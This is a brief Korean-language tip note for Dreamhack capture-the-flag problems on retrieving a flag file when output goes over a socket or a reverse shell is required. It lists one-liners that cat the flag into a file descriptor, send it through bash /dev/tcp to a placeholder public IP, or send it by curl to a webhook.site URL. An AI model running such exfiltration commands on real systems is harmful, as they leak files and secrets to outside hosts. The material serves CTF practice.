when socket connection or intend reverse shell in dreamhack problem
우리가 드림핵 문제를 풀때 소켓통신을 해서 플래그가 내 셸에 안뜨거나 문제자체가 리버스 셸을 요구하는 경우가 있다.
소켓통신 일때 →
p.send(b'bash -c "cat /home/chatbot/flag >&4"')
리버스 셸 일때 →
p.send(b'bash -c "cat /home/chatbot/flag >&/dev/tcp/{공인 ip}/1234"')
웹훅 사용 →
Python
payload = 'curl [https://webhook.site/5b4c062a-9b0a-4252-9046-eaf80e65eb91/?flag=`cat](https://webhook.site/5b4c062a-9b0a-4252-9046-eaf80e65eb91/?flag=%60cat) flag`'다음과 같은 방법들로 flag를 읽어 올 수 있다.